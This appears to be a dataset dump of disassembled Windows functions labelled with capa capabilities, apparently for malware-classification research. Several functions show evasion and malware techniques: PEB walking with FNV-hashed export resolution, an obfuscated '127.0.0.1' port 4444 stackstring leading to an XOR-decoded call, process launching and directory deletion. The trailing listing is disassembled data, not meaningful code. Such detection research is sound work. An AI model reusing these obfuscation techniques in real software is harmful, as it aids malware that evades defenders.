joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18009dc74
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
push rdi
sub rsp, 0x40
lea rax, [rcx - 0x10000]
mov rsi, rcx
movabs rcx, 0x7ffffffeffff
mov rbx, rdx
cmp rax, rcx
ja 0x18009dd90
movabs rax, 0x9e8a243c5a894607
xor r9d, r9d
mov qword [r11 - 0x28], rax
movabs rax, 0x4f41e87be2b6d069
mov qword [r11 - 0x20], rax
movabs rax, 0xe9f84b7a3ee8234f
movdqa xmm0, xmmword [rsp + 0x20]
mov qword [rsp + 0x30], rax
movabs rax, 0x4f41e87be2d2a208
mov qword [rsp + 0x38], rax
pxor xmm0, xmmword [rsp + 0x30]
movq rax, xmm0
movdqa xmmword [rsp + 0x20], xmm0
test al, al
je 0x18009dd07
inc r9
cmp byte [rsp + r9 + 0x20], 0
jne 0x18009dcfc
xor r10d, r10d
movabs rdi, 0xcbf29ce484222325
test r9, r9
je 0x18009dd4d
movzx edx, byte [rsp + r10 + 0x20]
lea eax, [rdx + 0x20]
movzx ecx, al
lea r8d, [rdx - 0x41]
cmp r8b, 0x19
cmova ecx, edx
inc r10
movsx rax, cl
movabs rcx, 0x100000001b3
imul rdi, rcx
xor rdi, rax
cmp r10, r9
jb 0x18009dd19
mov rax, qword [0x1800c3508]
test rax, rax
jne 0x18009dd74
call fcn.180047274
mov rcx, rax
lea rdx, str.PlayerEyes
call fcn.180022f68
mov qword [0x1800c3508], rax
xor r8d, r8d
mov rdx, rdi
mov rcx, rax
call fcn.18004672c
mov rdx, rsi
mov rcx, rbx
mov r8, qword [rax]
call r8
jmp 0x18009dda1
xorps xmm3, xmm3
xorps xmm2, xmm2
xorps xmm1, xmm1
mov rcx, rbx
call fcn.1800a036c
mov rsi, qword [rsp + 0x58]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x1800a2230
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
lea rax, [rcx - 0x10000]
movabs rdx, 0x7ffffffeffff
cmp rax, rdx
ja 0x1800a22b9
mov rax, qword [rcx]
xor r9d, r9d
test rax, rax
je 0x1800a22b9
mov rbx, qword [rax + 0x10]
mov r10d, r9d
cmp byte [rbx], r9b
je 0x1800a226b
inc r10
cmp byte [r10 + rbx], r9b
jne 0x1800a2262
movabs r11, 0xcbf29ce484222325
test r10, r10
je 0x1800a22b4
mov al, byte [r9 + rbx]
movzx ecx, byte [r9 + rbx]
add al, 0x20
mov r8b, byte [r9 + rbx]
sub r8b, 0x41
movzx edx, al
cmp r8b, 0x19
movabs rax, 0x100000001b3
cmova edx, ecx
inc r9
imul r11, rax
movsx rcx, dl
xor r11, rcx
cmp r9, r10
jb 0x1800a227a
mov rax, r11
jmp 0x1800a22bb
xor eax, eax
mov rbx, qword [rsp + 8]
ret
Function at 0x1800a2a34
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov rbp, rcx
cmp edx, 1
jne 0x1800a2bd2
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x1800a2adc
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x1800a2adc
mov r14d, dword [r9 + 0x20]
dec r10d
mov edi, 0xf1c8c66d
lea rcx, [r14 + r10*4]
mov r11d, dword [rcx + r8]
add r11, r8
mov bl, byte [r11]
inc r11
test bl, bl
je 0x1800a2ad7
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
mov bl, byte [r11]
cmova edx, ecx
inc r11
xor edx, edi
imul edi, edx, 0x1000193
test bl, bl
jne 0x1800a2aac
cmp edi, 0x58adfe3b
je 0x1800a2ae1
test r10d, r10d
jne 0x1800a2a8f
mov rax, qword [rax]
jmp 0x1800a2a6a
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
mov rcx, rbp
add rax, r8
call rax
mov rax, qword [0x1800c3a70]
test rax, rax
jne 0x1800a2bb7
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x1800a2b92
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x1800a2b92
mov r14d, dword [r9 + 0x20]
dec r11d
mov esi, 0x9d819b41
lea rcx, [r14 + r11*4]
mov r10d, dword [rcx + r8]
add r10, r8
mov bl, byte [r10]
inc r10
test bl, bl
je 0x1800a2b8d
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
mov bl, byte [r10]
cmova edx, ecx
inc r10
xor edx, esi
imul esi, edx, 0x1000193
test bl, bl
jne 0x1800a2b62
cmp esi, 0x764eb215
je 0x1800a2b97
test r11d, r11d
jne 0x1800a2b45
mov rax, qword [rax]
jmp 0x1800a2b20
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r11*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
mov qword [0x1800c3a70], rax
and qword [rsp + 0x28], 0
lea r8, [0x1800a2a20]
and dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call rax
mov rbx, qword [rsp + 0x40]
mov eax, 1
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x14001f924
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov rax, qword [0x14003ba58]
xor rax, rsp
mov qword [rsp + 0x28], rax
xor ebx, ebx
mov rdi, rcx
test rcx, rcx
jne 0x14001f94e
xor eax, eax
jmp 0x14001fa1e
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bx
jne 0x14001f952
mov r8d, 2
mov ecx, ebx
cmp rax, r8
setae cl
jb 0x14001f988
lea rdx, [0x14002cae8]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__wcsnicmp]
nop dword [rax + rax]
test eax, eax
mov ecx, ebx
sete cl
test ecx, ecx
je 0x14001f9b4
mov edx, 0x5c
lea rcx, [rdi + 4]
call sub.msvcrt.dll_wcschr
test rax, rax
je 0x14001fa1c
mov edx, 0x5c
lea rcx, [rax + 2]
call sub.msvcrt.dll_wcschr
mov ebx, 1
jmp 0x14001fa1c
movabs rax, 0x5c003a003f
mov rcx, rdi
mov qword [rsp + 0x20], rax
call fcn.14001f880
cmp ax, 0x61
jb 0x14001f9e4
mov rcx, rdi
call fcn.14001f880
mov word [rsp + 0x20], ax
cmp ax, 0x7a
jbe 0x14001fa05
mov rcx, rdi
call fcn.14001f880
cmp ax, 0x41
jb 0x14001fa1c
mov rcx, rdi
call fcn.14001f880
mov word [rsp + 0x20], ax
cmp ax, 0x5a
ja 0x14001fa1c
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
nop dword [rax + rax]
cmp eax, 4
sete bl
mov eax, ebx
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140021520
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x14002192c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140021978
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140021970
cmp dword [rcx + 0x3c], edx
jl 0x140021970
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140021970
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140021978
mov rax, rdx
add rsp, 0x18
ret

Function at 0x140021db8
Capabilities:
Print debug messages

Disassembly:
jmp 0x140021dc4
push rbx
sub rsp, 0x540
mov rax, qword [0x14003ba58]
xor rax, rsp
mov qword [rsp + 0x530], rax
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x140021e41
and qword [rsp + 0x38], 0
lea rcx, [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
jmp 0x140021e61
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x548]
mov qword [rsp + 0xf8], rax
lea rcx, str.Invalid_parameter_passed_to_C_runtime_function._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.140021520
add rsp, 0x540
pop rbx
ret
Function at 0x140021dc4
Capabilities:
Print debug messages

Disassembly:
jmp 0x140021dc4
push rbx
sub rsp, 0x540
mov rax, qword [0x14003ba58]
xor rax, rsp
mov qword [rsp + 0x530], rax
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x140021e41
and qword [rsp + 0x38], 0
lea rcx, [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
jmp 0x140021e61
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x548]
mov qword [rsp + 0xf8], rax
lea rcx, str.Invalid_parameter_passed_to_C_runtime_function._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.140021520
add rsp, 0x540
pop rbx
ret
Function at 0x140048920
Capabilities:
Hash data with crc32

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov qword [rsp], rax
mov dword [rsp + 8], 0xffffffff
mov dword [rsp + 0xc], 0
jmp 0x140048952
mov eax, dword [rsp + 0xc]
inc eax
mov dword [rsp + 0xc], eax
mov eax, dword [rsp + 0x38]
cmp dword [rsp + 0xc], eax
jae 0x1400489fa
mov eax, dword [rsp + 0xc]
mov rcx, qword [rsp]
movzx eax, byte [rcx + rax]
movzx ecx, byte [rsp + 8]
xor eax, ecx
mov dword [rsp + 0x10], eax
mov eax, dword [rsp + 8]
shr eax, 8
mov dword [rsp + 8], eax
mov dword [rsp + 0x14], 0
jmp 0x140048996
mov eax, dword [rsp + 0x14]
inc eax
mov dword [rsp + 0x14], eax
cmp dword [rsp + 0x14], 8
jge 0x1400489e5
mov eax, dword [rsp + 0x10]
and eax, 1
test eax, eax
je 0x1400489b2
mov dword [rsp + 0x1c], 1
jmp 0x1400489ba
mov dword [rsp + 0x1c], 0
movzx eax, byte [rsp + 0x1c]
mov byte [rsp + 0x18], al
mov eax, dword [rsp + 0x10]
shr eax, 1
mov dword [rsp + 0x10], eax
movzx eax, byte [rsp + 0x18]
test eax, eax
je 0x1400489e3
mov eax, dword [rsp + 0x10]
xor eax, 0xedb88320
mov dword [rsp + 0x10], eax
jmp 0x14004898c
mov eax, dword [rsp + 0x10]
mov ecx, dword [rsp + 8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 8], eax
jmp 0x140048948
mov eax, dword [rsp + 8]
not eax
add rsp, 0x28
ret

Function at 0x140048ff0
Capabilities:
Access peb ldr_data
Get ntdll base address
Get process filename

Disassembly:
sub rsp, 0x68
mov qword [rsp + 0x40], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x50], rax
mov eax, 0x6b
mov word [rsp + 0x20], ax
mov eax, 0x65
mov word [rsp + 0x22], ax
mov eax, 0x72
mov word [rsp + 0x24], ax
mov eax, 0x6e
mov word [rsp + 0x26], ax
mov eax, 0x65
mov word [rsp + 0x28], ax
mov eax, 0x6c
mov word [rsp + 0x2a], ax
mov eax, 0x33
mov word [rsp + 0x2c], ax
mov eax, 0x32
mov word [rsp + 0x2e], ax
mov eax, 0x2e
mov word [rsp + 0x30], ax
mov eax, 0x64
mov word [rsp + 0x32], ax
mov eax, 0x6c
mov word [rsp + 0x34], ax
mov eax, 0x6c
mov word [rsp + 0x36], ax
xor eax, eax
mov word [rsp + 0x38], ax
lea rdx, [rsp + 0x20]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 0x60]
call fcn.140048a10
test eax, eax
jne 0x1400490c3
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x40], rax
jmp 0x1400490ec
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp qword [rax + 0x30], 0
je 0x1400490ec
mov rax, qword [rsp + 0x48]
mov rax, qword [rax + 0x10]
cmp qword [rsp + 0x50], rax
jne 0x14004909c
mov rax, qword [rsp + 0x40]
add rsp, 0x68
ret
Function at 0x401000
Capabilities:
Initialize winsock library

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x1a0
mov word [rbp - 0x198], 0
lea rax, [rbp - 0x198]
mov rdx, rax
mov rcx, 0x202
sub rsp, 0x20
call sub.WS2_32_WSAStartup
add rsp, 0x20
cmp rax, 0
je 0x40103a
jmp 0x40103a
mov rsp, rbp
pop rbp
ret

Function at 0x4012cc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x110
mov byte [rbp - 0x100], 0x31
mov byte [rbp - 0xff], 0x32
mov byte [rbp - 0xfe], 0x37
mov byte [rbp - 0xfd], 0x2e
mov byte [rbp - 0xfc], 0x30
mov byte [rbp - 0xfb], 0x2e
mov byte [rbp - 0xfa], 0x30
mov byte [rbp - 0xf9], 0x2e
mov byte [rbp - 0xf8], 0x31
mov byte [rbp - 0xf7], 0
mov word [rbp - 0x102], 0x115c
lea rax, [0x0040115a]
push rax
sub rsp, 8
lea rcx, [0x00403007]
sub rsp, 0x20
call sub.ntdll_atoi
add rsp, 0x28
pop rcx
xchg rcx, rax
xor rax, rcx
mov dword [rbp - 0x108], eax
mov eax, dword [rbp - 0x108]
push rax
sub rsp, 8
lea rax, [0x0040300a]
mov rcx, rax
sub rsp, 0x20
call sub.ntdll_atoi
add rsp, 0x28
pop rcx
xchg rcx, rax
xor rax, rcx
mov qword [rbp - 0x110], rax
mov r8, 5
mov dx, word [rbp - 0x102]
lea rax, [rbp - 0x100]
mov rcx, rax
sub rsp, 0x20
call qword [rbp - 0x110]
add rsp, 0x20
mov rax, 0
mov rsp, rbp
pop rbp
ret
Function at 0x1400024b9
Capabilities:
Delete directory

Disassembly:
mov qword [rsp + 8], rcx
push r15
xor rax, rax
push rax
sub rsp, 0x28
call fcn.140011fb0
mov r15, qword [rsp + 0x28]
cmp r15, 1
jne 0x1400024f5
push qword [0x14001f434]
pop rcx
call fcn.140007168
and rax, rax
je 0x1400024f5
push qword [0x14001f434]
pop rcx
call fcn.140007204
call fcn.140004bc7
push qword [0x14001f4cc]
pop rcx
call fcn.14000d58c
push qword [0x14001f50c]
pop rcx
call sub.KERNEL32.DLL_RemoveDirectoryW
push qword [0x14001f4dc]
pop rcx
call sub.KERNEL32.DLL_RemoveDirectoryW
mov rax, qword [rsp + 0x40]
mov qword [0x14001f42c], rax
jmp 0x14000123b
Function at 0x140002539
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
push rbp
push r15
mov rax, 0x16
sub rsp, 8
mov qword [rsp], 0
dec rax
jne 0x140002552
sub rsp, 0x28
call fcn.140011fb0
mov rdx, qword [rsp + 0xf0]
lea rcx, [rsp + 0x28]
sub rsp, 0x10
call fcn.140011ec0
add rsp, 0x10
mov rdx, qword [rsp + 0xf8]
lea rcx, [rsp + 0x30]
sub rsp, 0x10
call fcn.140011ec0
add rsp, 0x10
mov rdx, qword [rsp + 0x100]
lea rcx, [rsp + 0x38]
sub rsp, 0x10
call fcn.140011ec0
add rsp, 0x10
mov rcx, qword [0x14001f4cc]
push rcx
sub rsp, 0x28
call fcn.140011d90
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140012020
add rsp, 0x28
lea rcx, [rsp + 0x48]
pop rdx
call fcn.140011de0
push qword [rsp + 0x40]
pop rcx
call sub.SHLWAPI.DLL_PathQuoteSpacesW
mov rcx, qword [rsp + 0x40]
push rcx
sub rsp, 0x28
call fcn.140011d90
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140012020
add rsp, 0x28
movabs rcx, 0x14001e026
sub rsp, 0x28
call fcn.140012020
add rsp, 0x28
mov rcx, qword [rsp + 0x50]
sub rsp, 0x28
call fcn.140012020
add rsp, 0x28
movabs rcx, 0x14001e026
sub rsp, 0x28
call fcn.140012020
add rsp, 0x28
mov rcx, qword [rsp + 0x40]
sub rsp, 0x28
call fcn.140012020
add rsp, 0x28
lea rcx, [rsp + 0x40]
pop rdx
call fcn.140011de0
lea rax, [rsp + 0x50]
lea rbp, [rsp + 0x50]
mov dword [rbp], 0x70
mov dword [rbp + 4], 0x140
mov dword [rbp + 0x30], 0
movabs rax, str.open
mov rax, rax
push rax
pop rax
mov qword [rbp + 0x10], rax
mov rax, qword [rsp + 0x28]
mov rax, rax
push rax
pop rax
mov qword [rbp + 0x18], rax
mov rax, qword [rsp + 0x38]
mov rax, rax
push rax
pop rax
mov qword [rbp + 0x20], rax
mov rax, qword [rsp + 0x30]
mov rax, rax
push rax
pop rax
mov qword [rbp + 0x28], rax
lea rax, [rsp + 0x50]
mov rax, rax
push rax
pop rcx
call sub.SHELL32.DLL_ShellExecuteExW
mov qword [rsp + 0xc0], rax
push 0x19
pop rcx
call fcn.14000735c
lea rax, [rsp + 0xc8]
mov rax, rax
push rax
lea rbp, [rsp + 0x58]
push qword [rbp + 0x68]
pop rcx
pop rdx
call sub.KERNEL32.DLL_GetExitCodeProcess
and rax, rax
je 0x140002723
mov r15, qword [rsp + 0xc8]
cmp r15, 0x103
je 0x140002723
jmp 0x140002725
jmp 0x1400026e5
mov rax, qword [rsp + 0xc8]
jmp 0x140002732
push rax
mov rcx, qword [rsp + 0x50]
sub rsp, 0x28
call fcn.140011f30
add rsp, 0x28
mov rcx, qword [rsp + 0x30]
sub rsp, 0x28
call fcn.140011f30
add rsp, 0x28
mov rcx, qword [rsp + 0x38]
sub rsp, 0x28
call fcn.140011f30
add rsp, 0x28
mov rcx, qword [rsp + 0x48]
sub rsp, 0x28
call fcn.140011f30
add rsp, 0x28
mov rcx, qword [rsp + 0x40]
sub rsp, 0x28
call fcn.140011f30
add rsp, 0x28
pop rax
add rsp, 0xd8
pop r15
pop rbp
ret
Function at 0x140003673
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
xor rax, rax
push rax
push rax
sub rsp, 0x28
call fcn.140011fb0
push qword [rsp + 0x48]
push qword [rsp + 0x48]
pop rcx
pop rdx
call sub.KERNEL32.DLL_LoadResource
mov qword [rsp + 0x28], rax
push qword [rsp + 0x48]
push qword [rsp + 0x48]
pop rcx
pop rdx
call sub.KERNEL32.DLL_SizeofResource
mov qword [0x14001f444], rax
push qword [0x14001f444]
pop rcx
call fcn.14000c5b0
mov qword [rsp + 0x30], rax
push qword [0x14001f444]
push qword [rsp + 0x38]
push qword [rsp + 0x38]
pop rcx
pop rdx
pop r8
call fcn.14000c6e0
push qword [rsp + 0x28]
pop rcx
call sub.KERNEL32.DLL_FreeResource
mov rax, qword [rsp + 0x30]
jmp 0x1400036f1
add rsp, 0x38
ret

Function at 0x140004aa2
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
xor rax, rax
push rax
push rax
push rax
push rax
sub rsp, 0x28
call fcn.140011fb0
mov rcx, qword [rsp + 0x70]
call fcn.140006178
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x28]
sub rsp, 0x10
call fcn.140011ec0
add rsp, 0x10
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x30]
sub rsp, 0x10
call fcn.140011ec0
add rsp, 0x10
push rcx
sub rsp, 0x28
call fcn.140011d90
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.140011d90
add rsp, 0x28
pop rcx
push rax
push 0x800
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140008160
add rsp, 0x28
lea rcx, [rsp + 0x40]
pop rdx
call fcn.140011de0
push 0x800
push qword [rsp + 0x40]
pop rcx
pop rdx
call sub.KERNEL32.DLL_GetSystemDirectoryW
push qword [rsp + 0x38]
pop rcx
call sub.SHLWAPI.DLL_PathAddBackslashW
mov rcx, qword [rsp + 0x38]
push rcx
sub rsp, 0x28
call fcn.140011d90
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140012020
add rsp, 0x28
pop rax
push rax
call fcn.140012170
pop rdx
add rax, rdx
jmp 0x140004b8a
push rax
mov rcx, qword [rsp + 0x30]
sub rsp, 0x28
call fcn.140011f30
add rsp, 0x28
mov rcx, qword [rsp + 0x38]
sub rsp, 0x28
call fcn.140011f30
add rsp, 0x28
mov rcx, qword [rsp + 0x40]
sub rsp, 0x28
call fcn.140011f30
add rsp, 0x28
pop rax
add rsp, 0x48
ret
Function at 0x140004bc7
Capabilities:
Delete directory

Disassembly:
push rbp
push r15
xor rax, rax
push rax
push rax
sub rsp, 0x28
call fcn.140011fb0
mov r15, qword [0x14001f45c]
cmp r15, 1
jne 0x140004c96
push qword [0x14001f54c]
pop rcx
call fcn.14000d17c
mov r15, rax
and r15, r15
jle 0x140004c2c
mov rcx, qword [0x14001f54c]
call fcn.14000d184
mov rcx, qword [0x14001f54c]
call fcn.14000d198
or rax, rax
je 0x140004c2c
mov rbp, qword [0x14001f554]
push qword [rbp + 0x10]
pop rcx
call fcn.14000d58c
jmp 0x140004c09
push qword [0x14001f53c]
pop rcx
call fcn.14000d17c
mov qword [rsp + 0x28], rax
mov r15, qword [rsp + 0x28]
and r15, r15
jle 0x140004c96
push 5
push 0
push 1
push qword [0x14001f53c]
pop rcx
pop rdx
pop r8
pop r9
call fcn.140008c40
mov rcx, qword [0x14001f53c]
call fcn.14000d184
mov rcx, qword [0x14001f53c]
call fcn.14000d198
or rax, rax
je 0x140004c96
mov rbp, qword [0x14001f544]
push qword [rbp + 0x14]
pop rcx
call sub.KERNEL32.DLL_RemoveDirectoryW
jmp 0x140004c73
mov rax, 1
jmp 0x140004ca2
add rsp, 0x38
pop r15
pop rbp
ret

Function at 0x140006178
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.DLL_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x14001e180]
call sub.KERNEL32.DLL_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.DLL_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret
Function at 0x140007204
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.140007194
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_TerminateThread]
lea rcx, [0x140020140]
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov rbx, qword [0x14001f588]
jmp 0x140007240
cmp qword [rbx + 0x18], rdi
je 0x140007247
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140007237
jmp 0x140007261
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x14001f588]
call fcn.140011838
lea rcx, [0x140020140]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
invalid
fsub qword gs:[rdi + rsi*2 - 0x71c5a56]
stosb byte [rdi], al
movsd dword [rdi], dword [rsi]
jrcxz 0x14003d57b
and ah, byte [rdi + 0x2ca50dbf]
scasb al, byte [rdi]
and al, 0x26
sbb dword [rsp + rsi], 0x4d
xor al, 0x4d
or byte [rbx - 0x612c7724], al
in al, 0x40
rol byte [rdi], cl
add eax, 0x6d1085a2
scasd eax, dword [rdi]
add eax, 0x7d846c48
jl 0x14003d556
mov esi, 0xbf41ba8c
invalid
invalid
push rbx
movabs eax, dword [0x74bc9a9a81e0e744]
je 0x14003d5ee
xor al, 0x64
fiadd word [0x17a3d8388]
jb 0x14003d57f
pop rcx
rcl eax, 0xbe
sahf
rcl dword [rax + 0x22], cl
sar byte [rbx + 0x6611a0f2], 0xdf
cdqe
sti
pop rbx
int 0x15
jbe 0x14003d5b6
cmp byte [rdx], al
pop rsp
sub byte [rdx], al
xchg ebp, eax
leave
add dword [rax + 0x41], edx
push rax
js 0x14003d58e
js 0x14003d58e
invalid
clc
out 0x1b, al
int 0x7b
sal dword [rsi - 0x4b], cl
call 0xcdcc017e
pushfq
or dword [rdi + 0xb], ebp
invalid
jl 0x14003d5b9
mov ecx, 0xc40c2e6f
outsd dx, dword [rsi]
or al, 0xc4
mov ah, 0xcc
int3
add dword [rcx], esi
sbb bh, dh
invalid
add byte [rax], r8b
add dword [rax], eax
or eax, 0x10303000
add byte [rcx], al
add byte [rax + rax], al
push 0x1000006
add byte [rax], ah
and byte [rax], dl
adc byte [rax], al
add dword [rax], eax
add al, 0
adc byte [rax], al
add dword [rax], eax
add al, 0
call 0x14203d653
add byte [rax], bl
sbb byte [rax], dl
add byte [rcx], al
add byte [rax + rax], al
call 0x14303d660
add byte [rax], al
add eax, dword [rax]
adc byte [rax], dl
adc byte [rax], al
add dword [rax], eax
add al, 0
add byte [rax], al
add eax, dword [rax]
adc byte [rax], dl
adc byte [rax], al
add dword [rax], eax
add al, 0
sub byte [rcx], al
add byte [rax], al
add al, 0
xor byte [rax], dh
add byte [rax], al
add dword [rax], eax
or byte [rax], al
test al, 0xe
add byte [rax], al
add eax, 0x202000
add byte [rcx], al
add byte [rax], cl
add byte [rax + 0x6000008], ch
add byte [rax], bl
sbb byte [rax], al
add byte [rcx], al
add byte [rax], cl
add al, cl
invalid